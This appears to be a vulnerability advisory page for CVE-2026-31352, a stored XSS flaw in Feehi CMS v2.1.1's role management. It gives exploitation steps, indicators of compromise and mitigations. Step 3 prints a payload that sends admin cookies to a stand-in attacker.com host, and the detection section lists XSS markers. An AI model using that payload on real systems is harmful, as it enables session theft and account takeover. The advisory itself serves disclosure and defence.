Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-31352
PHP vulnerability analysis and mitigation

Overview

CVE-2026-31352 is an authenticated stored cross-site scripting (XSS) vulnerability in the Role Management module of Feehi CMS v2.1.1. It allows low-privileged authenticated attackers to inject malicious scripts via the Role Name parameter, which are then stored in the database and executed in the browsers of other users who view the affected role. The vulnerability was disclosed on April 6, 2026, with a GitHub Advisory (GHSA-hqjc-wfvx-x2fv) published the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory, GitHub Issue).

Technical details

The root cause is improper neutralization of user-controlled input in the Role Name field of the Role Management module (CWE-79). Feehi CMS v2.1.1 fails to sanitize or encode special characters (e.g., <, >, (, )) before storing and rendering role names, allowing an attacker to inject arbitrary HTML or JavaScript payloads. Exploitation requires the attacker to be authenticated with at least low-level privileges sufficient to create or edit roles; the payload executes when another authenticated user (e.g., an administrator) views the role list or creates a new role. A public proof-of-concept with step-by-step reproduction instructions is available on the project's GitHub issue tracker (GitHub Issue).

Impact

Successful exploitation allows the injected script to execute in the browser context of any user who views the affected role, including administrators. This can lead to session token theft, account hijacking, unauthorized actions performed on behalf of compromised users, and potential escalation of access within the CMS. Availability is not directly impacted, but confidentiality and integrity are both affected at a low level per the CVSS assessment (Github Advisory, GitHub Issue).

Exploitability

A public proof-of-concept (PoC) with detailed reproduction steps is available on the Feehi CMS GitHub issue tracker, classified as a real exploit with high confidence by Feedly threat intelligence (GitHub Issue). There is no current evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.018% (0.037% per GitHub Advisory), placing it in the 11th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

Exploitation steps

  1. Authenticate: Log in to the Feehi CMS backend with any account that has permission to create or manage roles (low-privilege account sufficient).
  2. Navigate to Role Management: Access the Role Management module in the CMS admin panel.
  3. Create a new role with XSS payload: In the Role Name field, enter a crafted XSS payload such as <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and save the role.
  4. Payload stored: The malicious script is stored in the database without sanitization or encoding.
  5. Trigger execution: When an administrator or another user navigates to the role creation or role listing page, the stored payload is rendered and executed in their browser.
  6. Achieve objective: The executed script can exfiltrate session cookies to an attacker-controlled server, enabling session hijacking and account takeover (GitHub Issue).

Indicators of compromise

  • Network: Outbound HTTP requests from the CMS server or admin browser to unexpected external domains (e.g., attacker-controlled cookie-stealing endpoints) originating from role management page interactions.
  • Logs: CMS access logs showing POST requests to the role creation/update endpoint containing HTML or JavaScript tags (e.g., <script>, onerror=, javascript:) in the role name parameter.
  • Database: Role records in the database containing raw HTML or JavaScript in the role name field rather than plain text.
  • Browser: Unexpected redirects or network requests initiated from the admin panel when viewing the role list or role creation page.

Mitigation and workarounds

As of the GitHub Advisory publication (April 6, 2026), no patched version of Feehi CMS has been released — the advisory lists "None" for patched versions (Github Advisory). Recommended mitigations include: (1) implementing server-side input validation and output encoding on the Role Name parameter to neutralize HTML/JavaScript special characters; (2) deploying a Content Security Policy (CSP) header to restrict inline script execution; (3) restricting role creation/management permissions to the minimum necessary users; and (4) monitoring the GitHub repository for an official patch release.

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-71537MEDIUM6.5
  • PHP logoPHP
  • paymenter/paymenter
NoYesSep 18, 2026
CVE-2026-77616MEDIUM6.1
  • PHP logoPHP
  • mediawiki/semantic-media-wiki
NoYesSep 18, 2026
CVE-2026-77610MEDIUM6.1
  • PHP logoPHP
  • mediawiki/semantic-media-wiki
NoYesSep 18, 2026
CVE-2026-77609MEDIUM6.1
  • PHP logoPHP
  • mediawiki/semantic-media-wiki
NoYesSep 18, 2026
CVE-2026-77608MEDIUM6.1
  • PHP logoPHP
  • mediawiki/semantic-media-wiki
NoYesSep 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management